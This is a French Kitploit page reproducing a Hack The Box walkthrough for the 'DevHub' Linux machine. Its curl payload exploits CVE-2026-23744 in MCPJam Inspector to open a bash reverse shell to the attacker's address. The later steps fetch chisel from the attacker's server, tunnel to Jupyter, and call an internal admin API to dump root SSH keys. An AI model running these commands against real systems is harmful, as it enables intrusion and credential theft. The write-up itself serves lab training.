Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DevHub-HTB-Walkthrough — Hack The Box - Procédure pas à pas de la machine DevHub (Linux de niveau intermédiaire, CVE-2026-23744, Tunneling avec Chisel, Jupyter, Escalade de privilèges root) | Kitploit
Outils/GitHubGitHub/timgad794/devhub-htb-walkthrough
Escalade de PrivilègesReconnaissanceAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
timgad794/devhub-htb-walkthrough

DevHub-HTB-Walkthrough

Hack The Box - Procédure pas à pas de la machine DevHub (Linux de niveau intermédiaire, CVE-2026-23744, Tunneling avec Chisel, Jupyter, Escalade de privilèges root)

Voir le dépôt
il y a 1 moisPas encore vérifié

DevHub – Walkthrough HTB (Linux Moyen)

Machine: DevHub
Difficulté : Moyenne
OS: Linux
Sujets: CVE-2026-23744, Tunneling Chisel, Jupyter, API Flask, Escalade de privilèges root


📌 1. Reconnaissance

root@kitploit:~
nmap -sC -sV devhub.htb

Résultat :

  • Port 22 (SSH)
  • Port 80 (HTTP)
  • Port 6274 (MCPJam Inspector)

📌 2. Modifier le fichier hosts

root@kitploit:~
echo "10.x.x.x devhub.htb" >> /etc/hosts

📌 3. Explorer le site web

  • http://devhub.htb/ → Page d'accueil
  • http://devhub.htb:6274/ → MCPJam Inspector v1.4.2 (vulnérable à CVE-2026-23744)

📌 4. Reverse Shell en tant que mcp-dev

Terminal 1 – Listener :

root@kitploit:~
nc -lvnp 4444

Terminal 2 – Payload :

root@kitploit:~
curl -X POST http://devhub.htb:6274/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'

✅ Shell en tant que mcp-dev

📌 5. Mettre en place un tunnel Chisel

Serveur HTTP (attaquant) :

root@kitploit:~
python3 -m http.server 8000 --bind 10.x.x.x

Télécharger Chisel sur la cible (shell mcp-dev) :

root@kitploit:~
cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel

Serveur Chisel (attaquant) :

root@kitploit:~
./chisel server --reverse --port 9001

Client Chisel (shell mcp-dev) :

root@kitploit:~
./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &

📌 6. Accès à Jupyter

Lire le token (shell mcp-dev) :

root@kitploit:~
ps aux | grep jupyter | grep -v grep

Token : a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx

Navigateur : http://localhost:8888/?token=...

📌 7. Récupérer la clé SSH root (dans Jupyter)

root@kitploit:~
import requests, json

url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}

response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))

📌 8. Se connecter en root

root@kitploit:~
nano root_key
# Insérer la clé
chmod 600 root_key
ssh -i root_key [email protected]

📌 9. Flags

root@kitploit:~
cat /root/root.txt 
cat /home/analyst/user.txt

Root Flag :

08be4cfb68597d0f9edfccxxxxxxxxxx

Bonne chance ! 🚀

Télécharger l’outil